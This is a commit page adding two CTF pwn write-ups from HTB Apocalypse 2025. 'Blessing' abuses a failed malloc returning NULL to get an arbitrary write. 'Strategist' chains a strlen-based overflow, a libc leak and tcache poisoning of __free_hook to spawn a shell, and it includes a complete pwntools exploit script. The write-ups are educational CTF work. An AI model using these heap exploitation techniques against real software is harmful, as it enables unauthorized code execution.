Skip to content

Commit d7984cb

Browse files
authored
Merge pull request #169 from Stefan2320/main
docs: add pwn challs
2 parents e5a397e + 2a6e777 commit d7984cb

2 files changed

Lines changed: 280 additions & 0 deletions

File tree

Lines changed: 70 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,70 @@
1+
---
2+
title: Blessing
3+
date: 2025-03-26T03:00:19+03:00
4+
description: Writeup for Blessing [HTB Apocalypse 2025]
5+
author: PineBel
6+
tags:
7+
- pwn
8+
draft: false
9+
---
10+
___
11+
12+
## Challenge Description
13+
In the realm of Eldoria, where warriors roam, the Dragon's Heart they seek, from bytes to byte's home. Through exploits and tricks, they boldly dare, to conquer Eldoria, with skill and flair.
14+
## Intuition
15+
16+
We get a binary that does a malloc of 0x30000.
17+
After the malloc it sets the first byte from that malloc to 1.
18+
We also get the pointer from malloc as a leak.
19+
To read the flag we need to overwrite the 1 to 0.
20+
21+
**Vulnerability**: After the leak we need to give an input which will be used in another malloc. This means that we control the size of the malloc, we can also write content to it but in this case it doesn't matter since we have this vulnerability:
22+
```
23+
*(undefined8 *)((long)my_malloc_ptr+ (my_malloc_len- 1)) = 0; ---> overflow of 7 bytes
24+
```
25+
26+
## Solution
27+
28+
Initially I thought we should use a large enough malloc so that we mmap right before the first allocated chunk, but the closest I could get to the target chunk was 24 bytes because of alignment. So this doesn't seem like the solution.
29+
30+
31+
```C
32+
my_malloc_ptr = malloc(my_malloc_len);
33+
...
34+
*(undefined8 *)((long)my_malloc_ptr+ (my_malloc_len- 1)) = 0;
35+
```
36+
37+
Malloc's behaviour when given a really large value will fail and return NULL.
38+
So what happens if I give a really large value?
39+
40+
```C
41+
my_malloc_ptr = malloc(LARGE);
42+
...
43+
*(undefined8 *)((long)NULL+ (LARGE- 1)) = 0;
44+
```
45+
46+
So basically if we make malloc return `NULL` we can write those 0s at `LARGE-1`.
47+
48+
So the solution would be to just:
49+
1. Get the leak
50+
2. Since the leak is large, we can give it to malloc which will cause it to fail and write to leak - 1.
51+
52+
Solve:
53+
```py
54+
from pwn import *
55+
56+
57+
target = process("./blessing_1")
58+
59+
target.recvuntil(b'is: ')
60+
leak = int(target.recv(14), 16)
61+
target.sendlineafter(b'th: ', str(leak).encode())
62+
target.sendlineafter(b'ng: ', b'x')
63+
64+
target.interactive()
65+
```
66+
67+
68+
69+
70+
Lines changed: 210 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,210 @@
1+
---
2+
title: Strategist
3+
date: 2025-03-26:00:19+03:00
4+
description: Writeup for Strategist [HTB Apocalypse 2025]
5+
author: PineBel
6+
tags:
7+
- pwn
8+
- heap
9+
draft: true
10+
---
11+
12+
## Challenge description
13+
14+
To move forward, Sir Alaric requests each member of his team to present their most effective planning strategy. The individual with the strongest plan will be appointed as the Strategist for the upcoming war. Put forth your best effort to claim the role of Strategist!
15+
16+
## Intuition
17+
18+
It looks like a classic heap challenge. We can control the size of malloc and write to that chunk. We can also remove (free) that chunk and edit its contents. We also get the libc version which is: `glibc 2.27`.
19+
I used `patchelf` to modify my binary to have the correct libc and ld.
20+
21+
**Vulnerability**: When editing a chunk, the edit function computes the length with strlen, which means that we can overwrite the size field of the next chunk if we make the current chunk full.
22+
23+
```C
24+
__nbytes = strlen((char *)mem_ptr[input_idx]);
25+
read(0,(void *)mem_ptr[input_idx],__nbytes);
26+
```
27+
28+
Example (allocate two chunks of 24, fill the first one up):
29+
```
30+
0x0000000000000021 ........!....... <--- first chunk
31+
0x555555a01670 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
32+
0x555555a01680 0x0a61616161616161 0x0000000000000021 aaaaaaa.!....... <--- second chunk
33+
0x555555a01690 0x0000000a42424242 0x0000000000000000 BBBB............
34+
0x555555a016a0 0x0000000000000000 0x0000000000020961 ........a....... <-- Top chunk
35+
```
36+
37+
Now if we edit the first chunk, strlen() will also include the second chunks size, so we can overwrite the size if we want.
38+
39+
So the strategy for this challenge would be to leak a libc address and do tcache poisoning to the \_\_free\_hook (since we have 2.27 we can do that)
40+
## Solution
41+
42+
#### Leaking libc
43+
44+
1. Create a chunk that gets in the Unsorted bin (bc it has fwd ptr and bck ptr towards the main arena).
45+
2. Guard the Unsorted bin chunk with a smaller chunk to prevent merging with the top.
46+
47+
48+
After we allocate a large chuck and a smaller chunk + free the large chunk + allocate large again to get leak:
49+
```
50+
0x555574953660 0x0000000000000000 0x0000000000000431 ........1.......
51+
0x555574953670 0x00007ab6a23ebc61 0x00007ab6a23ebca0 a.>..z....>..z..
52+
0x555574953680 0x0000000000000000 0x0000000000000000 ................
53+
```
54+
55+
56+
So after the leak it's just a simple tcache poisoning.
57+
Steps for tcache poisoning:
58+
59+
1. Allocate three chunks that will fit in the tcache.
60+
61+
```
62+
0x55555d52e660 0x0000000000000000 0x0000000000000031 ........1....... <--- C1
63+
0x55555d52e670 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
64+
0x55555d52e680 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
65+
0x55555d52e690 0x6161616161616161 0x0000000000000031 aaaaaaaa1....... <--- C2
66+
0x55555d52e6a0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
67+
0x55555d52e6b0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
68+
0x55555d52e6c0 0x6262626262626262 0x0000000000000031 bbbbbbbb1....... <--- C3
69+
0x55555d52e6d0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
70+
0x55555d52e6e0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
71+
0x55555d52e6f0 0x6363636363636363
72+
```
73+
74+
2. Use edit vuln to overwrite C2 size. This will allow us to overwrite C3 later.
75+
76+
```
77+
0x555567480660 0x0000000000000000 0x0000000000000031 ........1....... <--- C1
78+
0x555567480670 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
79+
0x555567480680 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
80+
0x555567480690 0x6161616161616161 0x0000000000000061 aaaaaaaaa....... <--- C2 (NEW SIZE)
81+
0x5555674806a0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
82+
0x5555674806b0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
83+
0x5555674806c0 0x6262626262626262 0x0000000000000031 bbbbbbbb1....... <--- C3
84+
0x5555674806d0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
85+
0x5555674806e0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
86+
0x5555674806f0 0x6363636363636363
87+
```
88+
89+
3. Free C2 and C3
90+
91+
```
92+
0x0000000000000031 ........1....... <--- C1
93+
0x555582d1f670 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
94+
0x555582d1f680 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
95+
0x555582d1f690 0x6161616161616161 0x0000000000000061 aaaaaaaaa....... <--- C2
96+
0x555582d1f6a0 0x0000000000000000 0x0000555582d1f010 ............UU.. <-- tcachebins[0x60][0/1]
97+
0x555582d1f6b0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb
98+
0x555582d1f6c0 0x6262626262626262 0x0000000000000031 bbbbbbbb1....... <--- C3
99+
0x555582d1f6d0 0x0000000000000000 0x0000555582d1f010 ............UU.. <-- tcachebins[0x30][0/1]
100+
0x555582d1f6e0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
101+
0x555582d1f6f0 0x6363636363636363
102+
```
103+
104+
4. Allocate a chunk that fits in the 0x60 chunk size => we can overwrite C3 with the free hook
105+
106+
```
107+
0x55555d4f7660 0x0000000000000000 0x0000000000000031 ........1....... <--- C1
108+
0x55555d4f7670 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
109+
0x55555d4f7680 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa
110+
0x55555d4f7690 0x6161616161616161 0x0000000000000061 aaaaaaaaa....... <--- C2
111+
0x55555d4f76a0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
112+
0x55555d4f76b0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
113+
0x55555d4f76c0 0x6363636363636363 0x3434343434343434 cccccccc44444444 <--- C3 overwritten (6d0 -> __free_hook ptr)
114+
0x55555d4f76d0 0x00007f2d071ed8e8 0x000055555d4f7010 ....-....pO]UU.. <-- tcachebins[0x30][0/1]
115+
0x55555d4f76e0 0x6363636363636363 0x6363636363636363 cccccccccccccccc
116+
0x55555d4f76f0 0x6363636363636363
117+
118+
tcachebins
119+
0x30 [ 1]: 0x55555d4f76d0 —▸ 0x7f2d071ed8e8 (__free_hook)
120+
```
121+
122+
5. Allocate a chunk that will contain the args for system.
123+
6. Allocate a chunk with a ptr to sytem.
124+
125+
```
126+
x/1xg &__free_hook
127+
0x78ed30ded8e8 <__free_hook>: 0x000078ed30a4f550
128+
pwndbg> x 0x000078ed30a4f550
129+
0x78ed30a4f550 <system>: 0xfa66e90b74ff8548
130+
```
131+
132+
7. Call free on the chunk that has /bin/sh
133+
134+
135+
Solve:
136+
```py
137+
from pwn import *
138+
import time
139+
140+
#context.binary = bin = ELF("./strategist")
141+
libc = ELF('./libc.so.6')
142+
ld = ELF('./ld-linux-x86-64.so.2')
143+
#target = process([ld.path,bin.path],env={"LD_PRELOAD":libc.path})
144+
target = remote("94.237.61.57",45450)
145+
146+
147+
def allocate(size, p):
148+
target.sendlineafter(b'> ', b'1')
149+
target.sendlineafter(b'> ', str(size).encode())
150+
target.sendafter(b'> ', p)
151+
152+
def free(idx):
153+
target.sendlineafter(b'> ', b'4')
154+
target.sendlineafter(b'> ', str(idx).encode())
155+
156+
def show(idx):
157+
target.sendlineafter(b'> ', b'2')
158+
target.sendlineafter(b'> ', str(idx).encode())
159+
target.recvuntil(f'Plan [{idx}]: ')
160+
return target.recvline()[:-1]
161+
162+
def edit(idx,p):
163+
target.sendlineafter(b'> ', b'3')
164+
target.sendlineafter(b'> ', str(idx).encode())
165+
target.sendafter(b'> ', p)
166+
167+
168+
allocate(0x420,b"a") # put in unsorted bin because it has 2 ptrs that we will leak
169+
allocate(0x100,b"b") # put tcache so that we don't merge with top chunk when we free
170+
171+
free(0)
172+
free(1)
173+
174+
allocate(0x420,b"a") # this is the chunk with leak
175+
leak = u64(show(0).ljust(8,b'\x00'))
176+
leak = leak - 0x3ebc61
177+
libc.address = leak
178+
print(f"Leak:{leak:#010x}")
179+
#print(hex(libc.sym.__free_hook))
180+
free(0)
181+
182+
183+
### Tcache poisoning
184+
185+
tcache_size = 0x28
186+
187+
allocate(tcache_size, tcache_size*b"a") # full chunk => leads to overflow
188+
allocate(tcache_size, tcache_size*b"b")
189+
allocate(tcache_size, tcache_size*b"c")
190+
191+
192+
edit(0,tcache_size*b"a"+p8(0x61)) # edit chunk so that we overwrite chunk size
193+
free(1)
194+
free(2)
195+
196+
allocate(0x50,tcache_size*b"c"+b"4"*8+p64(libc.sym.__free_hook)) # this chunk will go into the one that overflows the second one (fwd_ptr), the second size actually doesn't matters (the 4)
197+
198+
allocate(tcache_size, b"/bin/sh\x00"+p64(0x0)) # prepare arg for system
199+
allocate(tcache_size, p64(libc.sym.system)) # write system in free hook
200+
#gdb.attach(target)
201+
#pause()
202+
203+
print(show(2))
204+
free(2) # call system with /bin/sh arg
205+
target.interactive()
206+
```
207+
208+
209+
210+

0 commit comments

Comments
 (0)